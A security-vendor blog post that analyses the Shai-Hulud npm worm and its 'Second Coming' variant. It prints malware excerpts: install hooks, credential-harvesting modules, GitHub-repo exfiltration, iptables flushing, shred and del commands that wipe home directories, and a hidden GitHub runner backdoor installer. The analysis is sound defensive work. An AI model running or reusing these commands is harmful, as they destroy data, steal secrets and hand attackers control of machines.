This document copyright Checkmarx, all rights reserved. Introduction In September 2025, researchers discovered “Shai-Hulud”, a self-replicating malware worm targeting the NPM ecosystem. This wasn’t just another piece of malware – at its core, it stole developer credentials, cloud tokens, and private repositories owned by the affected maintainers, then weaponized developer trust and automatically propagated itself and infected as many packages and system as possible. Just 2 months later, in November 2025, a new version of the malware, dubbed “The Second Coming”, arrived with improved sophisticated techniques prepared to cause more damage. What follows is a comparison of both versions of the malware, showcasing how it evolved and the differences between the two. Hopefully this will help you understand a bit more about malware, and the malicious intents behind this campaign. If you’re more interested in IOCs and recommended mitigation strategies, check our original posts: NPM Hit By Shai-Hulud, The Self-Replicating Supply Chain Attack Shai-Hulud’s Second Coming: NPM Malware Attack Evolved. High-Level Comparison: Shai-Hulud original vs. Second Coming Feature Version 1 Version 2 Installation Postinstall script Preinstall script Obfuscation Simple minification Multi-layered obfuscation Data Harvesting GitHub username + token GitHub secrets Npm username + token AWS secrets Google Cloud secrets TruffleHog output System Environment variables Host information – mainly about the Operating System architecture Exfiltration of all private/internal organization repositories the user has access to GitHub username + token GitHub secrets Npm username + token AWS secrets Google Cloud secrets Azure Vault keys TruffleHog output System Environment variables Host information – not only about the OS, but also hostname and userinfo Defense Evasion/Security Tampering – Attempts privilege escalation via docker container escape Attempts to stop systemd-resolved Flushes iptables Persistence and Spread Mechanisms Spreads to all packages of the infected user Injects a malicious GitHub Workflow in all the repositories that the user owns, collaborates, or is a member Spreads to all packages of the infected user Injects a malicious GitHub Workflow in all the repositories that the user owns, collaborates, or is a member Installs a self-hosted GitHub runner that serves as a backdoor to the infected system Fallback Mechanisms – Wipes all files in the user’s profile/home directory The first wave of Shai-Hulud The first observed instance of the malware infected packages with a “postinstall” script that automatically executed a “bundle.js” file containing the malicious code. The code itself was not hard to reverse engineer because it was only minified, meaning the code is presented in a single long line, where all whitespaces, tabs, and line breaks are removed, and variables and function names are usually shortened. This is easily reversible. Note that this post contains screenshots of code captured during our investigation. Plain-text snippets are provided for accessibility, but be aware that the plain-text versions were created automatically using AI-enhanced OCR, and therefore may contain errrors. Figure 1 – package.json for @ctrl/tinycolor with a postinstall script; after the attack Reveal code as text { "name": "@ctrl/tinycolor", "version": "4.1.1", "description": "Fast, small color manipulation and conversion for JavaScript", "author": "Scott Cooper <[email protected]>", "publishConfig": { "access": "public" }, "license": "MIT", "homepage": "https://tinycolor.vercel.app", "repository": "scttcper/tinycolor", "keywords": [ "typescript", "color", "manipulation", "tinycolor", "hsa", "rgb" ], "main": "dist/public_api.js", "module": "dist/module/public_api.js", "typings": "dist/public_api.d.ts", "files": [ "dist" ], "sideEffects": false, "scripts": { "demo:build": "npm run build --workspace=demo", "demo:watch": "npm run dev --workspace=demo", "lint": "eslint --ext .js,.ts, .", "lint:fix": "eslint --fix --ext .js,.ts, .", "prepare": "npm run build", "build": "del-cli dist && tsc -p tsconfig.build.json && tsc -p tsconfig.module.json && ts-node build", "docs:build": "typedoc --out demo/dist/docs --hideGenerator --tsconfig tsconfig.build.json src/public_api.ts", "test": "vitest run", "test:watch": "vitest", "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml", "postinstall": "node bundle.js" } } This malicious script then performed several actions in the background, the first one being credential harvesting for Shai-Hulud to exfiltrate later. It scanned the system for credentials, such as GitHub PATs, NPM tokens, and cloud provider keys (AWS and Google). If the operating system allowed it, it also deploy TruffleHog, a known secrets discovery software, to leak as many credentials as possible. To explain in more detail, the malware contained different class modules for this purpose: A class named “TruffleHogModule”, containing the necessary functions for checking the Operating System information, downloading the compatible binaries of Truffle Hug, installing it, and then scanning the file system for credentials. A class named “GCPModule”, containing the necessary functions for connecting to the user’s Google Cloud account and harvesting its secrets. A class named “AWSModule”, containing the necessary functions for connecting to the user’s AWS account and harvesting its secrets. A class named “GitHubModule”, containing the necessary functions for harvesting the user’s GitHub token from the system, and later performing other actions related to the malware’s propagation and data exfiltration steps. Figure 2 – TruffleHogModule constructor and method stubs Reveal code as text class TruffleHogModule { constructor() { ((this.installedStatus = !1), (this.systemInfo = (0, F.getSystemInfo)())); const t = "windows" === this.systemInfo.platform ? "trufflehog.exe" : "trufflehog"; ((this.binaryPath = oe.join(process.cwd(), t)), this.checkIfInstalled()); } checkIfInstalled() { … } mapArchitecture(t) { … } mapPlatform(t) { … } async getLatestRelease() { … } async downloadFile(t, r) { … } async extractBinary(t) { … } async install() { … } async getVersion() { … } async isAvailable() { … } getBinaryPath() { … } isInstalled() { … } getSupportedPlatform() { … } async scanFilesystem(t = ".", r = 9e4) { … } } Figure 3 – GCPModule constructor and async method stubs Reveal code as text class GCPModule { constructor() { (this.projectInfo = null), (this.isValidCredentials = !1), (this.initialized = !1), (this.auth = new F.GoogleAuth({ scopes: ["https://www.googleapis.com/auth/cloud-platform"] })), (this.secretsClient = new te.SecretManagerServiceClient()); } async initialize() { … } async isValid() { … } async getProjectInfo() { … } async getProjectId() { … } async getUserEmail() { … } async listSecrets() { … } async getSecretValue(t, r = "latest") { … } async getAllSecretValues() { … } } Figure 4 – AWSModule constructor and async method stubs Reveal code as text class AWSModule { constructor() { (this.stsClient = null), (this.secretsClients = new Map()), (this.callerIdentity = null), (this.profile = null), (this.REGIONS = [ … ]); } parseAwsProfiles() { … } async initialize() { … } getSecretsClient(t) { … } async isValid() { … } async getCallerIdentity() { … } async listSecrets() { … } async getSecretValue(t) { … } async getAllSecretValues() { … } } Figure 5 – GitHubModule authentication logic and async method stubs Reveal code as text class GitHubModule { constructor() { (this.token = this.getToken()), (this.octokit = new F.Octokit({ auth: this.token || void 0 })); } getToken() { const t = process.env.GITHUB_TOKEN; if (t) return t; try { const t = (0, te.execSync)("gh auth token", { encoding: "utf8", stdio: "pipe" }).trim(); if (t) return t; } catch {} return null; } async getUser(t) { … } async extraction(t) { … } async migration(t, r, F) { … } async makeRepo(t, r) { … } isAuthenticated() { … } getCurrentToken() { … } async getOrgs() { … } } After having all the victim’s keys, Shai-Hulud proceeded to exfiltrate this data to the attacker. For this, it started by creating a new GitHub repository named “Shai-Hulud” – hence the name attributed to this campaign – with a file named “data.json” containing all user data base64 encoded. It further exfiltrated more secrets to a webhook (under “webhook.site”) controlled by the attacker(s), but this was done as part of the propagation mechanism of the malware. Figure 6 – Aggregating system, env, and module state Reveal code as text const ue = { system: { platform: t.platform, architecture: t.architecture, platformDetailed: t.platformRaw, architectureDetailed: t.archRaw, }, environment: process.env, modules: { github: { authenticated: r.isAuthenticated(), token: r.getCurrentToken(), username: r.getUser(), }, aws: { secrets: ce }, gcp: { secrets: le }, trufflehog: ae, npm: { token: re, authenticated: ie, username: oe, }, }, }; r.isAuthenticated() && (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2)), process.exit(0)); As a further exfiltration step, the malware went beyond stealing keys – it copied all private and internal repositories owned by the compromised maintainer’s organization and pushed them into new public repositories controlled by the attacker. The repos were given a “Shai-Hulud Migration” description. This is particularly interesting because it shows the attackers goal was to gather maximum data. In the end, Shai-Hulud used sophisticated, automated propagation techniques to spread across packages and repositories: It started to propagate itself by injecting the same malicious code to all packages the user has access to. This was done by the “NpmModule” class, and only in case the malware finds any NPM token during the credential harvesting step. It also injected a malicious GitHub Workflow, named “shai-hulud-workflow.yml” in all the repositories that the user owns, collaborates, or is a member. This workflow exfiltrated the GitHub secrets from every repository accessible with the user’s PAT token and sent them to an attacker controlled webhook via our classic “curl”. Figure 7 – NpmModule client initialization and API method stubs Reveal code as text class NpmModule { constructor(t) { (this.baseUrl = "https://registry.npmjs.org"), (this.userAgent = `npm/9.2.0 node/v${process.version.replace("v", "")} workspaces/false`), (this.token = t); } async validateToken() { … } getHeaders(t = !1) { … } async searchPackages(t, r = 20) { … } async getPackageDetail(t) { … } async updatePackage(t) { … } async getPackagesByMaintainer(t, r = 10) { … } } How Shai-Hulud evolved into its “Second Coming” The malware is now installed using the “preinstall” script, instead of “postinstall”. This makes sure that the malware is executed even if the compromised package for some reason fails to install, making its infection and spread more plausible to happen. Figure 8 – an infected package.json with a preinstall hook Reveal code as text { "name": "@accordproject/concert-analysis", "version": "3.24.1", "description": "Analysis of Concerto model files", "homepage": "https://github.com/accordproject/concerto", "engines": { "node": ">=18", "npm": ">=10" }, "main": "dist/index.js", "typings": "dist/index.d.ts", "scripts": { "clean": "rimraf dist", "prebuild": "npm-run-all clean", "build": "tsc -p tsconfig.build.json", "pretest": "npm-run-all lint", "lint": "eslint .", "test": "jest", "test:watch": "jest --watchAll", "preinstall": "node setup_bun.js" }, "repository": { "type": "git", "url": "https://github.com/accordproject/concerto.git", "directory": "packages/concerto-analysis" }, "keywords": [ "concerto", "tools", "modeling" ], "author": "accordproject.org", "license": "Apache-2.0", "dependencies": { "@accordproject/concerto-core": "3.24.0", "semver": "7.6.3" }, "devDependencies": { "@accordproject/concerto-cto": "3.24.0", "@types/semver": "7.5.8", "@typescript-eslint/eslint-plugin": "8.16.0", "@typescript-eslint/parser": "8.16.0", "eslint": "8.57.1", "jest": "^29.7.0", "npm-run-all": "4.1.5", "ts-jest": "^29.2.5", "typescript": "^5.7.2" } } Now, before diving in, it’s important to note that this version of the malware was heavily obfuscated in comparison to the previous version. Obfuscation makes the code significantly harder to detect, analyze, and reverse engineer. If we look at the source code, it’s almost unreadable because variable names, function names, and even function calls are replaced with meaningless hexadecimal strings. As a result, please note that the function names and variables you’ll see throughout this blog have been renamed to our liking to make the code easier to understand. Figure 9 – Example of an obfuscated JavaScript function with stream and blob handling Reveal code as text function _0x120563(_0x800511) { var _0x6ec2a6 = _0x1b9ab3; if (!_0x800511) return _0x800511 === 0x0 ? _0x800511 : 0x0; if (_0x800511 = _0x358952(_0x800511), _0x800511 === _0x15a208 || _0x800511 === -_0x15a208) { if (_0x6ec2a6(0x16c7) === _0x6ec2a6(0x16c7)) { var _0x4aab5d = _0x800511 typeof _0x1f015e === _0x6ec2a6(0x48af) && (_0x50c4d4[_0x4f2dd1.isReadableStream] = _0x56e76e; var _0x12f7ea = _0x55d561 => { var _0x5e6f59 = _0x6ec2a6; return typeof _0x4661d6 === _0x5e6f59(0x48af) && (_0x55d561[_0x5e6f59(0x119f)] ? : ); }; _0x10d5ad['isBlob'] = _0x12f7ea; } } return _0x800511 === _0x800511 ? _0x800511 : 0x0; } One particularity of this version is that before it does anything, the malware starts by attempting privilege escalation and tampering with the security of the network in Linux systems. This was not part of the first campaign. It now attempts to stop systemd-resolved and modify network settings by flushing iptables if running as root or with passwordless sudo. Figure 10 – Network configuration tampering via shell calls Reveal code as text async function tamperNetworkSecurity() { await Bun.$`sudo systemctl stop systemd-resolved`.nothrow(); await Bun.$`sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf`.nothrow(); await Bun.$`sudo systemctl restart systemd-resolved`.nothrow(); await Bun.$`sudo iptables -t filter -F OUTPUT`.nothrow(); await Bun.$`sudo iptables -t filter -F DOCKER-USER`.nothrow(); } Most of its data harvesting steps, although different in structure, share the same logic to the previous version. It harvests host information, NPM tokens, GitHub token, and Cloud Provider secrets, but this version collects a significantly broader set of credentials and host data: It now expands its host profiling by getting the hostname of the operating system, and userinfo data, which contains the user/group IDs, the username of the logged-in user, the home directory and the default shell. It targets more cloud providers and attempts to harvest the user’s Azure vault access keys. Figure 11 – Harvesting system metadata, GitHub auth data, env vars, and cloud secrets Reveal code as text let systemAndGitData = { system: { platform: osMap.platform, architecture: osMap.architecture, platformDetailed: osMap.platformRaw, architectureDetailed: osMap.archRaw, hostname: os.hostname(), os_user: os.userInfo() }, modules: { github: { authenticated: gitClass.isAuthenticated(), token: gitClass.getCurrentToken(), username: gitUserData } } }; let envData = { environment: process.env }; let cloudProvidersData = { aws: { secrets: await awsClass.runSecrets() }, gcp: { secrets: await googleClass.listAndRetrieveAllSecrets() }, azure: { secrets: await azureClass.listAndRetrieveAllSecrets() } }; Exfiltration still relies on the same method of creating a public GitHub repository where all the data is stored. This time, however, the repo gets the description “Sha1-Hulud: The Second Coming”. Additionally, instead of relying on a single base64 encoded file, the uploaded files are now organized into: contents.json – containing the system and user information environment.json – containing the system environment variables cloud.json – containing the cloud provider secrets truffleSecrets.json – containing the trufflehog findings actionsSecrets.json – containing the secrets found via GitHub Actions workflows Another notable difference is that instead of extracting GitHub secrets to an attacker controlled webhook, using the injected malicious GitHub workflow, the malware now harvests those in real time and saves them into the respective file actionsSecrets.json. Figure 12 – Writing collected data to repository files for exfiltration Reveal code as text let _0x6e06c0 = gitClass.saveContents( "contents.json", JSON.stringify(systemAndGitData), "Add file" ); let _0x3adc69 = gitClass.saveContents( "environment.json", JSON.stringify(envData), "Add file" ); let _0x584734 = gitClass.saveContents( "cloud.json", JSON.stringify(cloudProvidersData), "Add file" ); Figure 13 – Extracting secrets with TruffleHog and committing results to Git for exfiltration Reveal code as text async function runTruffleExtractor(gitClass) { try { let truffleClass = new Truffle(); await truffleClass.initialize(); let extractedTruffleSecrets = await truffleClass.scanFilesystem(os.homedir()); if (gitClass.isAuthenticated() && gitClass.repoExists()) { await gitClass.saveContents( "truffleSecrets.json", JSON.stringify(extractedTruffleSecrets), "Add file" ); } } catch (_0x3a1393) { console.log("Error 8"); } return; } Figure 14 – Extracting GitHub Actions secrets and writing them to the repo for exfiltration Reveal code as text async function runGitActionsExtractor(gitClass) { if (gitClass.isAuthenticated() && (await gitClass.checkWorkflowScope())) { let actionsSecrets = []; let gitToken = gitClass.getCurrentToken(); if (gitToken != null) { let gitAPIClass = new GitHubAPI(gitToken); let userRepos = gitAPIClass.userReposUpdatedSince(); for await (let secret of gitAPIClass.processReposStream(userRepos)) actionsSecrets.push(secret); } await gitClass.saveContents( "actionsSecrets.json", JSON.stringify(actionsSecrets), "Add file" ); return actionsSecrets; } else { console.log("Error 11"); } return []; } Finally, the most significant difference is how the malware is much more dangerous when compared to the first version. It has new 2 main features: A destructive fallback mechanism: If unable to obtain a GitHub or NPM token, the script attempts to shred and delete all files in the user’s profile/home directory. Backdoor installation: Establishes persistence by installing a self-hosted GitHub runner that acts as a backdoor. The runner is registered to the created repository, meaning the infected machine can execute GitHub Actions jobs from that repository. In other words, the attacker who controls the repo can now run arbitrary commands on the infected machine. Figure 15 – Fallback path when Git/GitHub auth fails, including OS-level commands Reveal code as text if (!gitClass.isAuthenticated() || !gitClass.repoExists()) { let gitToken = await gitClass.fetchToken(); if (!gitToken) { if (npmToken) { await runNpmCompromise(npmToken); } else { console.log("Error 12"); if (osMap.platform === "windows") { Bun.spawnSync([ "cmd.exe", "/c", "del /F /Q /S \"%USERPROFILE%*\" && for /d %i in (\"%USERPROFILE%*\") do rd /S /Q \"%i\" & cipher /w:%USERPROFILE%" ]); } else { Bun.spawnSync([ "bash", "-c", "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && find \"$HOME\" -depth -type d -empty -delete" ]); } } process.exit(0); } } Creating a repo and installing a self-hosted GitHub Actions runner Reveal code as text async ["createRepo"](name, repoDescription = "Shai-Hulud: The Second Coming.", repoPrivate = false) { let response = await this.octokit.request( "POST /repos/{owner}/{repo}/actions/runners/registration-token", {} ); if (response.status == 201) { let token = response.data.token; if (os.platform() === "linux") { await Bun.$`mkdir -p $HOME/.dev-env/`; await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env"); await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env"); await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${repoOwner}/${repoName} --unattended --token ${token} --name "SHA1HULUD"`.cwd(os.homedir() + "/.dev-env"); await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env"); Bun.spawn(["bash", "-c", "cd $HOME/.dev-env && nohup ./run.sh &"], { unref: true }); } else if (os.platform() === "win32") { await Bun.$`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner.zip"`; await Bun.$`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('actions-runner.zip', '.')"`; await Bun.$`./config.cmd --url https://github.com/${repoOwner}/${repoName} --unattended --token ${token} --name "SHA1HULUD"`.cwd(os.homedir()).quiet(); Bun.spawn(["powershell", "-ExecutionPolicy", "Bypass", "-Command", "Start-Process -WindowStyle Hidden -FilePath \".\\run.cmd\"" ], { cwd: os.homedir() }).unref(); } else if (os.platform() === "darwin") { await Bun.$`mkdir -p $HOME/.dev-env/`; await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env"); await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env"); await Bun.$`./config.sh --url https://github.com/${repoOwner}/${repoName} --unattended --token ${token} --name "SHA1HULUD"`.cwd(os.homedir() + "/.dev-env").quiet(); await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env"); Bun.spawn(["bash", "-c", "cd $HOME/.dev-env && nohup ./run.sh &"], { unref: true }); } } } Supply Chain Security has to level up These steps show how a single compromised package became a multiplier – now imagine the actual propagation of the malware occurring across thousands of NPM packages or even spreading to other ecosystems as it was already observed with this campaign. Due to automatic mirroring of NPM packages being rebuilt for Maven, some infected packages were automatically rebuilt in the Maven ecosystem. The result is a widespread supply chain incident with serious consequences for projects and users that depend on the registry. This campaign reminds us how fragile the ecosystems we trust are and forces us to rethink how to secure open-source ecosystems. It also is a lesson to defenders about the importance of not only being able to detect and respond to malicious open-source pacakges, but also to procatively defend against malicious packages, blocking them before they’re installed in order to avoid being infected by preintall and postinstall scripts. NPM’s response to Shai-Hulud has led them to take some steps to make such attacks at least more complicated for adversaries to conduct. For details, read their official blog post on their upcoming security measures. linkedin-app Share on LinkedIn Share on Bluesky Follow Checkmarx Zero: linkedin-app